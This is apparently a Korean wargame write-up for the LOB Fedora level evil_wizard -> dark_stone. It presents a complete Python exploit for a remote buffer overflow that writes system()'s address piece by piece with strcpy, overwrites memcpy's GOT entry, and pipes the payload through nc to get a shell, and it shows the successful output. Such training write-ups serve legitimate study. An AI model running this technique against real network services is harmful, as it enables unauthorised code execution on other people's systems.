LOB Fedora 원정대 ( evil_wizard -> dark_stone )
key word : GOT overwrite , Remote Buffer Overflow Got overwrite
지난번 문제와 거의 동일하다. 다만 리모트 환경으로 넘어오게 된다.
지난번 문제와 큰차이는 없으나, 리모트 환경이다. 8888 번 포트로 전송 시키되, execve 를 쓸필요 없고 system 함수로
쉘만 획득해도 권한이 상승 한다. 지난번과 똑같은 PAYLOAD 로 공격하려고 했으나 많은 실패가 있었는데 GOT table 을 망가트리는
현상이 일어나는 것 같았다.
[ROP] 문서 내용 중..
custom stack 의 위치를 정하기 위해 주의해야 할 사항:
· 주소안에서 NULL 값을 피하기위해 우리는 마지막 byte 값을 낮은 값으로 선택해줘야 한다. (예:
0x8049810)
· GOT 테이블이 예상치 못하게 덮어지는 상황을 주의해야 한다.
· 스택은 높은주소에서부터 낮은 주소로 자라기 때문에, data 영역을 시작 주소로 잡아서는 안된다.
(예: 시작주소를 0x8049010 으로 잡아버리면 ret-to-libc call 이 실패할 것이다.)
· 보통은 ".data" 혹은 "bss" 영역 이후의 주소로 잡아주는것이 custom stack 을 설정하기에 좋다.
[ 이전 공격구문 ]
[buffer = 264 ] [ SFP = 4 ] [ RET = 4 ]
EBP초기화 [ 공격구문 ]
[ 공격구문 ]
[ strcpy@plt ] , [ PPR ] , [ memcpy@GOT+0 ] , [ execve 첫번째 바이트를 가진 주소 값 ]
[ strcpy@plt ] , [ PPR ] , [ memcpy@GOT+1 ] , [ execve 두번째 바이트를 가진 주소 값 ]
[ strcpy@plt ] , [ PPR ] , [ memcpy@GOT+2 ] , [ execve 세번째 바이트를 가진 주소 값 ]
[ strcpy@plt ] , [ PPR ] , [ memcpy@GOT+3 ] , [ execve 네번째 바이트를 가진 주소 값 ]
[main+240(memcpy 를 하고 난 다음 다시 복귀 할 EBP 주소 ],
[고정된 주소 아무곳이나.. 심볼릭 링크를 걸 것임 == /bin/sh 가 안됐음 ]
[ 이번에 적용한 공격구문 ]
[buffer = 264 ] [ SFP = 4 ] [ RET = 4 ]
EBP초기화 [ 공격구문 ]
[ 공격구문 ]
[ strcpy@plt ] , [ PPR ] , [ CUSTOM_ADDR + 0 ] , [ system 첫번째 바이트를 가진 주소 값 ]
[ strcpy@plt ] , [ PPR ] , [ CUSTOM_ADDR + 1 ] , [ system 두번째 바이트를 가진 주소 값 ]
[ strcpy@plt ] , [ PPR ] , [ CUSTOM_ADDR + 2 ] , [ system 세번째 바이트를 가진 주소 값 ]
[ strcpy@plt ] , [ PPR ] , [ CUSTOM_ADDR + 3 ] , [ system 네번째 바이트를 가진 주소 값 ]
[ strcpy@plt ] , [ PPR ] , [ memcpy@GOT ] , [ CUSTOM_ADDR 주소 값 ]
[main+240(memcpy 를 하고 난 다음 다시 복귀 할 EBP 주소 ],
[ &/bin/sh ]
위 공격 구문을 구성하기 위해서 필요한 것들은 다음과 같다.
memcpy@plt : 0x08048418
(gdb) x/5i 0x08048418
0x8048418 <_init+120>: jmp *0x8049850
memcpy@got : 0x08049850
strcpy@plt : 0x08048438
PPR : 0x080484f0
"/bin/sh" @ addr = 0x833604
system : 0x7507c0
c0 : 0x80484d0
07 : 0x8048ca9
75 : 0x80486ee
00 : 0x804875e
임의의 스택값 : 0x80498a0: 0x00000000 0x00000000 0x00000000 0x00000000
//이경우 memcpy@got 에 직접 씌워주려 했으나, 실패했다. GOT table이 깨지는 듯 하여 임의의 주소값에 system 주소를담고 다시 이를 memcpy 로 가져옴으로써 정확한 주소값만 Overwrite를 할 수 있도록 하였다.
1. 번외 : [/bin/sh] 주소값 찾기
system 함수 내에는 do_system 이란 함수가 존재하고 이는 /bin/sh 를 인자값으로 쓴다.
때문에 system 함수를 기점으로 문자열을 검색해보면 [/bin/sh] 의 주소값을 찾을 수 있다.
[evil_wizard@Fedora_1stFloor ~]$ cat findsh.c
#include<stdio.h>
int main(int argc, char *argv[]){
int addr=0x007507c5; //system 함수의 주소
while(1){
if(memcmp(addr++,"/bin/sh",8)==0){
printf("[%p]\n",addr);
break;
}
}
return 0;
}
복사 붙여넣기 용 소스코드
[ source code ]
import os
MEMCPY_GOT = "\x50\x98\x04\x08"
BINSH = "\x03\x36\x83\x00"
CALL_MEMCPY = "\x95\x85\x04\x08"
#SYSTEM = "\xc0\x07\x75\x00"
ADDR_C0 = "\xd0\x84\x04\x08"
ADDR_07 = "\xa9\x8c\x04\x08"
ADDR_75 = "\xee\x86\x04\x08"
ADDR_00 = "\x5e\x87\x04\x08"
STRCPY = "\x38\x84\x04\x08"
PPR = "\xf3\x84\x04\x08"
CUSTOM_0 = "\xa0\x98\x04\x08"
CUSTOM_1 = "\xa1\x98\x04\x08"
CUSTOM_2 = "\xa2\x98\x04\x08"
CUSTOM_3 = "\xa3\x98\x04\x08"
def main():
BUFFER = "\x90"*268
ATTACK = BUFFER + \
STRCPY + PPR + CUSTOM_0 + ADDR_C0+\
STRCPY + PPR + CUSTOM_1 + ADDR_07+\
STRCPY + PPR + CUSTOM_2 + ADDR_75+\
STRCPY + PPR + CUSTOM_3 + ADDR_00+\
STRCPY + PPR + MEMCPY_GOT + CUSTOM_0+\
CALL_MEMCPY + BINSH
print ATTACK
if __name__ == '__main__':
main()
[evil_wizard@Fedora_1stFloor ~]$ (python exploit6.py ;cat)| nc localhost 8888
dark_stone : how fresh meat you are!
you : id
uid=505(dark_stone) gid=505(dark_stone) context=user_u:system_r:unconfined_t
my-pass
euid = 505
let there be light
[dark_stone@Fedora_1stFloor ~]$ ls -al
total 56
drwx--x--- 2 dark_stone dark_stone 4096 Apr 28 2010 .
drwxr-xr-x 8 root root 4096 Apr 28 2010 ..
-rw-r--r-- 1 dark_stone dark_stone 24 Apr 28 2010 .bash_logout
-rw-r--r-- 1 dark_stone dark_stone 191 Apr 28 2010 .bash_profile
-rw-r--r-- 1 dark_stone dark_stone 124 Apr 28 2010 .bashrc
-rw-r--r-- 1 root root 580 Apr 28 2010 dropped_item.txt
-rw-r--r-- 1 dark_stone dark_stone 383 Apr 28 2010 .emacs
[dark_stone@Fedora_1stFloor ~]$ cat dropped_item.txt
,.
,' `.
,' _<>_ `.
,'.-'____`-.`.
,'_.-'' ``-._`.
,',' /\ `.`.
,' /.._ O / \ O _.,\ `.
,'/ / \ ``-;.--.:-'' / \ \`.
,' : : \ /\`.,'/\ / : : `.
< <>| | O >(< ( ) >)< O | |<> >
`. : : / \/,'`.\/ \ ; ; ,'
`.\ \ /_..-:`--';-.._\ / /,'
`. \`' O \ / O `'/ ,'
`.`._ \/ _,','
`..``-.____.-'',,'
`.`-.____.-','
`. <> ,'
`. ,'
- 끝 -
'War_Game > system' 카테고리의 다른 글
2013 HDCON REMOTE BOF (0) | 2013.06.17 |
---|---|
[ L.O.B ] 페도라 원정대 4 dark_stone -> cruel (0) | 2013.04.28 |
LOB Fedora BOF GOT overwrite (hell_fire -> evil_wizard) (0) | 2013.04.07 |
[LOB] 페도라 원정대 3 (dark_eyes -> hell_fire) (0) | 2013.04.01 |
LOB level20 (xavius -> death_knight) Remote BOF (2) | 2012.06.21 |